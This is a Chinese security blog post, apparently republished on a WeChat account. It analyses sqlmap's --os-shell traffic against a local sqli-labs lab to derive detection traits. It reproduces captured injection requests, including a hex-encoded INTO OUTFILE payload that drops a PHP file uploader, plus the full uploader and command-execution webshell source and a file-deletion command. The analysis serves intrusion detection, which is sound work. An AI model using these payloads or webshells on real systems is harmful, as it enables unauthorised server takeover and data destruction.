|
|
文章来自@Erikten老哥博客，经作者同意转至该公众号。有兴趣的朋友可以在文末通过阅读原文进入他的博客。
0x01 –os-shell攻击流程
-
测试链接是否能够访问
-
判断操作系统版本
-
传递一个数组，尝试爆绝对路径
-
指定上传路径
-
尝试找到上传的文件的访问路径；直到找到正确的路径
-
通过上传的临时文件，尝试上传另外一个php文件， 该文件可以进行命令执行
-
尝试进行命令执行 echo command execution test
-
直接输入对应的命令即可
-
退出–os-shell后删除命令马
0x02 抓包分析
GET /Less-1/?id=-8168%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x71786a7171%2C%28CASE%20WHEN%20%280x57%3DUPPER%28MID%28%40%40version_compile_os%2C1%2C1%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627671%29%2CNULL--%20- HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
-8168 UNION ALL SELECT NULL,CONCAT(0x71786a7171,(CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END),0x7170627671),NULL-- -
GET /Less-1/?id[]=1 HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
GET /Less-1/?id=-9439%20OR%201550%3D1550%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27E%3A%2FServer%2Fphpstudy_pro%2FWWW%2Fsqli-labs-master%2FLess-1%2Ftmpuobmp.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d453a5c5c5365727665725c5c70687073747564795f70726f5c5c5757575c5c73716c692d6c6162732d6d61737465725c5c4c6573732d315c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20- HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
// 判断是否有一个upload的值传过来if (isset($_REQUEST["upload"])){// 将uploadDir赋值给$dir, 也就是我们传递的绝对路径$dir = $_REQUEST["uploadDir"];// 判断php版本是否小于4.1.0if (phpversion() < '4.1.0'){$file = $HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;}else{// 取文件名赋值给$file$file = $_FILES["file"]["name"];// 完成上传动作@move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;}// 给权限@chmod($dir . "/" . $file, 0755);echo "File uploaded";}else{echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\> <input type=submit name=upload value=upload></form>";}
然后尝试找到上传的文件的访问路径；直到找到正确的路径，每次都会里面跳一级
// 将传递的cmd的值赋值给$c$c = $_REQUEST["cmd"];// 设置超时时间@set_time_limit(0);// 设置客户端断开连接时是否中断脚本的执行@ignore_user_abort(1);// 设置php.ini中max_execution_time的值为0@ini_set("max_execution_time", 0);// 获取禁用函数$z = @ini_get("disable_functions");if (!empty($z)){// 如果$z不为空, 那么就将$z中的, 替换为, 并且重组成一个数组, 且去掉两端的空白字符$z = preg_replace("/[, ]+/", ',', $z);$z = explode(',', $z);$z = array_map("trim", $z);}else{$z = array();}// 将命令与 2>&1进行拼接$c = $c . " 2>&1n";function f($n){// 调用$zglobal $z;// 判断参数$n是否不在数组$z中return is_callable($n) and !in_array($n, $z);}/* 大致干了三件事* 1.打开缓冲区* 2.执行命令并将结果赋值给$w* 3.关闭缓冲区并*/if (f("system")){ob_start();system($c);$w = ob_get_clean();}elseif (f("proc_open")){$y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);$w = NULL;while (!feof($t[1])){$w .= fread($t[1], 512);}@proc_close($y);}elseif (f("shell_exec")){$w = shell_exec($c);}elseif (f("passthru")){ob_start();passthru($c);$w = ob_get_clean();}elseif (f("popen")){$x = popen($c, r);$w = NULL;if (is_resource($x)){while (!feof($x)){$w .= fread($x, 512);}}@pclose($x);}elseif (f("exec")){$w = array();exec($c, $w);$w = join(chr(10), $w) . chr(10);}else{$w = 0;}// 输出命令echo "<pre>$w</pre>";
GET /Less-1/tmpbqsur.php?cmd=del%20%2FF%20%2FQ%20E%3A%5CServer%5Cphpstudy_pro%5CWWW%5Csqli-labs-master%5CLess-1%5Ctmpuajwx.php HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:Serverphpstudy_proWWWsqli-labs-masterLess-1tmpuajwx.php HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
0x03 流量特征分析
echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory:<input type=text name=uploadDir value=E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\><input type=submit name=upload value=upload></form>";
if (f("system")){ob_start();system($c);$w = ob_get_clean();}elseif (f("proc_open")){$y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);$w = NULL;while (!feof($t[1])){$w .= fread($t[1], 512);}@proc_close($y);}elseif (f("shell_exec")){$w = shell_exec($c);}elseif (f("passthru")){ob_start();passthru($c);$w = ob_get_clean();}elseif (f("popen")){$x = popen($c, r);$w = NULL;if (is_resource($x)){while (!feof($x)) {$w .= fread($x, 512);}}@pclose($x);}elseif (f("exec")){$w = array();exec($c, $w);$w = join(chr(10), $w) . chr(10);}
-
当前数据库用户为root权限
-
数据库中source_file_priv 的值不能为null
-
可以使用单双引号
GET /Less-2/tmpbvnbm.php?cmd=echo%20command%20execution%20test HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:Serverphpstudy_proWWWsqli-labs-masterLess-1tmpuajwx.php HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
0x04 sqlmap特征总结
- user-agent特征- from表单特征- 命令执行函数特征
- 数组报错特征- @@version_compile_os特征- 测试命令执行语句特征- 调用系统命令特征
推 荐 阅 读
欢 迎 私 下 骚 扰
本文始发于微信公众号（潇湘信安）：入侵检测之sqlmap恶意流量分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论